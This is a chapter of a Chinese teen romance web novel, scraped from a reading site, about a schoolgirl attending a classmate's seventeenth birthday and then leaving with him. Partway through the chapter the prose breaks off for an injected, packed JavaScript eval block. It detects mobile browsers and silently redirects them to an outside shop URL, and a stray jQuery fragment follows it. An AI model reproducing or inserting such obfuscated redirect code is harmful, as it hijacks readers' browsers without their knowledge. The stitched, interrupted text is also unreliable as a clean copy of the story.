文趣网 > 其他小说 > 青苹果尾调 > 21. 是生日
    十二月的第一个周五,一个离大雪很近的日期,是陈言白的十七岁生日。

    “陈言白居然比我还小三个月哈哈哈。”

    柯彤萎靡了整整一个月,终于恢复了平时嘻嘻哈哈的样子,“我还以为九月份已经够晚了呢。”

    庄寒悦推了推架在鼻梁上的眼镜,随口道:“叙青十七岁生日在明年的四月份,更晚一点。”

    “我去!”

    柯彤是真不知道温叙青生日的具体月份,闻言眼睛都瞪大了,“那你高考后还解不了游戏防沉迷!”

    “真的好惨啊!”

    温叙青认同地点了点头,虽然她不怎么玩游戏,但是年龄偏小确实有很多不方便的地方。

    “你们说,陈言白真的会看校园集市吗?”

    柯彤一边翻校园集市上的帖子,一边感叹,“那么多投稿祝他生日快乐的,他真的能看到吗。”

    “欸,温叙青你要去给陈言白庆祝生日吗?感觉你俩还挺熟的。”

    温叙青的笔尖顿了顿,直液笔在纸张上留下一块不大的墨痕。

    “可能…不去吧,他没和我说。”

    “不去也好,据说每次人都很多。”

    柯彤也不知道在手机看到了什么,微微撇了撇嘴,“人带人,也不知道有什么好去的。”

    “好了,还有一分钟快上课,你转回去吧。”

    庄寒悦到点就开始赶人。

    柯彤收起手机,磨磨蹭蹭地扭了回去,由于动作幅度太大,还把庄寒悦她们桌子上的书堆给带歪了。

    被庄寒悦从后面踹了一脚椅子。

    温叙青低下头继续写字,脑子里却不由自主地回想着柯彤刚刚的话。

    柯彤以前就说过“陈言白如果身份证掉了,甚至可以直接在校园墙上补办”之类的话。

    当时温叙青还以为只是玩笑,有些将信将疑,现在倒是信了十成十。

    笔下的式子抄错了数字,温叙青捏着笔踌躇了一下,最后把它拉掉了。

    配合着刚刚的墨痕,卷子的整齐美观不复存在。

    温叙青盯着卷子看了几秒,心情突然变得有些糟糕。

    恰好丁茜从教室前门进来,温叙青干脆把卷子折了两下,顺手塞进桌兜。

    想不通的题还是下节课再想吧。

    人也一样。

    ——

    人还是不一样。

    直到下午放学,温叙青也没有想通为什么陈言白没有邀请自己,明明他们已经很熟了。

    而陈言白那边也是一团毛线。

    篮球队成员一放学便堵在教室外面,嚷嚷着寿星请客,嗓门大到教室里都听得清清楚楚。

    “已经订了位置。”

    陈言白眼尾下压,似乎有些心情不佳,“你们小点声。”

    “这有啥,放学了!”

    为首的男生声音只大不小,“再说了,谁不知道你今天生日。”

    陈言白随便拿了几本书塞进书包,拎着东西走了出来。

    “走吧。”

    话音刚落,一个女生从后门处探出头,有些忐忑地问道:“陈言白,我可以去吗?”

    女生是班里的文艺课代表,陈言白只是与对方说过几句话的关系。

    见陈言白看向自己,女生有些紧张地抿了抿唇,眼里闪过一丝希冀的光。

    察觉到很多视线明里暗里地落在自己和女生身上,陈言白下意识捏了一下指节。

    “可以。”

    陈言白手插在兜里,语气很随意,“那你再多叫点人吧。”

    苗砀刚好从教室前门出来,目睹了走廊里的这一出大戏,有些幸灾乐祸地抱起手臂看热闹。

    陈言白掀起眼皮,与苗砀隔空对视,又倏然移开。

    最后还是陈言白最先败下阵来:“一个月早餐。”

    苗砀会意,转头对着教室嚷嚷出声:“大家想来都来啊!人多热闹,还能宰陈言白一顿!”

    大家哄笑,气氛重新变得松快起来。

    ——

    视力太好,有时候也不是什么好事。

    比如,此时此刻的温叙青。

    或许是缘分使然,温叙青刚走出教学楼,便远远瞧见陈言白被一大群人簇拥着,正准备往校门口走。

    心脏被人轻轻地捏了一把,又酸又涩。

    温叙青停下脚步,下意识往边上让了让。

    下一秒手机便震动了一下。

    温叙青下意识看了一眼手机屏幕,陈言白的消息“耀武扬威”地浮在最上面。

    陈言白:【又躲我】

    简简单单的三个字,连个标点符号都没有,温叙青却莫名读出了几分委屈的意味。

    温叙青下意识抬头,与发消息的人遥遥对视,对方似乎也在等她看过来。

    心中所想得逞,少年有些得意地轻抬下巴。

    像一只抓到鱼的小猫。

    温叙青有些慌乱地移开视线。

    心想。

    明明该委屈的人是她好吧!

    她还没说什么呢。

    但是,天大地大,寿星最大。

    温叙青深深吸了一口气,重新低下头,打字回复:【这次真的没有。】

    【你身边人太多了,我没仔细看。】

    温叙青承认,这句话有她一点点自己的小心思在。

    但是本来就是,她又不是PTZ云台摄像机,怎么可能随时跟着陈言白转。

    陈言白:【温叙青,今天是我十七岁生日。】

    温叙青的心脏跳了跳。

    明明只是一个普普通通的陈述句,为什么加个她的名字就变得如此的。

    奇怪。

    温叙青:【生日快乐!】

    温叙青想了一下,又加了一个蛋糕的表情包。

    不远处的男生盯着手机,突然轻笑了一下。

    陈言白:【你不问我今晚要干吗吗?】

    温叙青眯起眼睛看了一眼陈言白身旁的人,心中冷笑。

    这很难猜吗?

    温叙青:【不好奇,没兴趣。】

    如果诚心邀请她参加的话,别当另说。

    陈言白隔了一分钟才回复:【很吵。】

    陈言白:【你要来吗?】

    温叙青在脑海里搜罗了一圈高情商回复,最终还是遵循内心回道:【你想我去吗?】

    这一次间隔的时间更久。

    久到温叙青都要以为陈言白不会回复了时,手机响了。

    陈言白:【想】

    【好】

    ——

    事实证明,陈言白说的很吵,没有一丝艺术夸张成,是真的很吵闹。

    高中生正是精力最旺盛的时候,大家在餐桌上乱七八糟地讲着话,从教导主任今天抽了几根烟讲到了联考卷子出的题有多离谱。

    意识到话题跑偏了,立马有人吆喝着吃饭禁止聊学习。

    温叙青不由得想起乡下爷爷家养的大鹅。

    大鹅是温叙青这辈子见过最喜欢合唱的生物,一只叫起来,便是一片附和。

    温叙青小时候还被大鹅围剿过,手腕处被啄出的疤痕现在还留着。

    吵吵闹闹地吃罢饭,又有人嚷嚷着要换个场所玩。

    温叙青其实有些困了,但见大家都很期待,还是跟着众人一起转移了阵地。

    大家意见不统一,最后还是陈言白拍板,选了一个综合性的包厢,空间很大,可以玩卡片游戏,也配有话筒可以唱歌,比普通的ktv安静。

    当然也贵了很多。

    温叙青很少去类似的地方,除了陈言白以外,周围也没有熟识的人,干脆一个人坐在角落里。

    人在陌生的场所,视线会下意识地跟着熟识的人转。

    和陈言白经常待在一起,温叙青不自诩对陈言白绝对了解,但也是了解一点对方的小习惯。

    比如说陈言白眉尾落下去,是不喜欢;陈言白嘴角弧度消失,是不想做;陈言白捏指节,常常是因为场面很棘手……

    尽管陈言白看起来,对这种场合游刃有余,但温叙青就是莫名地觉得他并不开心。

    温叙青对情绪的感知一向敏锐。

    但这种能力并不是与生俱来的,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947965|212616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    而是她长久以来养成的习惯。

    医院就像是一个巨大的情绪收集万花筒,疾病痊愈是开心,亲人确诊是忧虑,蹲在走廊数着时间是未知的恐惧,医护人员无奈摇头是绝望。

    积极的情绪像蓬松的棉花糖,消极情绪则像浸了水的海绵。

    可是在医院待久了,所有的情绪都会在无边无际的白色中变成麻木,所以温叙青必须保持着高度的情绪感知能力。

    才不至于迷失。

    长久以来,也就养成了习惯。

    有人起哄陈言白上去唱两句,甚至没等他回应,便把话筒隔空扔给给了他。

    温叙青的视线长久地落在陈言白身上,不知道是不是她的错觉,陈言白也在看向她。

    隔着忽明忽暗的光线。

    温叙青突然产生了一种冲动。

    她张了张嘴,声音很轻,“我们逃吧!”

    辨别出她的口型,少年似乎怔了一下。

    等温叙青再看过去时,陈言白已经垂下了眼,纤长的睫毛在眼下投出淡淡的阴影,掩盖了晦暗不清的眼神。

    “你怎么不邀请我唱!”

    石鸿宇极其钝感地嚷嚷出声,“还把我的歌给调了,你啥意思?!”

    “寿星还没说什么呢?!”

    恶意来得实在是莫名其妙。

    陈言白单手插兜从沙发上站起身,把话筒转手递给了石鸿宇,嘴角带着一抹笑意:“你给调回来呗。”

    “寿星批准你连着唱。”

    “听见没!”

    石鸿宇美滋滋地应了下来,捏着话筒往台子上去了。

    温叙青看着陈言白低头在一个男生耳边说了几句话,然后转身朝门口走去。

    温叙青又坐了几分钟,才背上书包,慢吞吞起身跟了出去。

    走廊上空空荡荡的,旁边包间门没关好,噪杂的声音从里传了出来,温叙青下意识加快了脚步。

    走出门的瞬间,新鲜的空气灌入肺,温叙青一眼便看到了站在路边的陈言白。

    少年背影清瘦,肩胛骨微展,把校服外套撑得很空。

    “走吧!”

    温叙青刻意地把自己的声音扬了起来,显得情绪很高。

    陈言白回头看她,似乎有话想说,最后却只问了。

    “回家还是…”

    “在外边转转吧。”

    温叙青回答得很快。

    许慈和温父今晚刚好加班,她回去也没有事情做。

    陈言白的目光从温叙青的书包肩带上掠过,非常自然地伸出手。

    “我给你拿着书包。”

    “哎呀,那多不好意思。”

    温叙青嘴上虽是这么说,书包到头来还是落到了陈言白的肩上。

    陈言白自己的书包是单肩背的,手里又提了一个,看上去很像负重前行的蜗牛。

    温叙青跟在他后面,目光从陈言白书包上摇摇晃晃的巫师帽小猫挂件上扫过,心情突然变得很好。

    可能是天气冷的缘故,街上的行人很少。

    霓虹招牌把光秃秃的树枝染得五光十色,与旁边暖黄色的路灯形成了鲜明的对比,莫名地多了几分寂寥的感觉。

    路边的店铺还没到关门的时间,透过贴着画纸的落地窗,可以看到里面走动的人影。

    “你等我一下!”

    温叙青突然出声,没等陈言白反应过来,便噔噔噔地折返回去,进了一家蛋糕店。

    店员姐姐面带微笑地迎了上来。

    “请问有预定吗?”

    温叙青摇了摇头,视线落在展览柜上,架子上只剩了一些没有卖完的手作面包。

    “没有现成的蛋糕吗?”

    温叙青用手在空中比划,“小一点的也可以。”

    “只剩一个三寸的。”

    店员姐姐领着温叙青走到冷藏柜前,语气带着几分歉意,“可能会有一点小。”

    蛋糕只有巴掌大,但很精致,雪白的奶油裱花层层叠叠,上层还零星点缀了水果。

    温叙青眼睛弯了起来。

    “没关系,这个就可以。”